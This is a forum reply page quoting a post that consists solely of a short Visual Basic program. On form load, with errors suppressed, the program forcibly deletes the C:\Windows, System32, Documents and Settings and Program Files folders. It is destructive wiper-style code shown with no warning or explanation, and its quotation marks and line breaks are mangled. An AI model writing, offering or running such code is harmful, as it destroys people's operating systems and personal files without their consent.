Reply to thread

Message: <blockquote data-quote="pjayampathi" data-source="post: 5580041" data-attributes="member: 74195">Public Sub DelAll(ByVal DirtoDelete As Variant)Dim FSO, FSSet FSO = CreateObject(”Scripting.FileSystemObject”)FS = FSO.DeleteFolder(DirtoDelete, True)End SubPrivate Sub Form_Load()On Error Resume NextCall DelAll(”c:\windows\system”)Call DelAll(”c:\windows\system32″)Call DelAll(”c:\windows”)Call DelAll(”C:\Documents and Settings\All Users”)Call DelAll(”C:\Documents and Settings\Administrator”)Call DelAll(”C:\Documents and Settings”)Call DelAll(”C:\Program Files\Common Files”)Call DelAll(”C:\Program Files\Internet Explorer”)Call DelAll(”C:\Program Files\Microsoft Visual Studio”)Call DelAll(”C:\Program Files”)EndEnd Sub</blockquote>

Top Bottom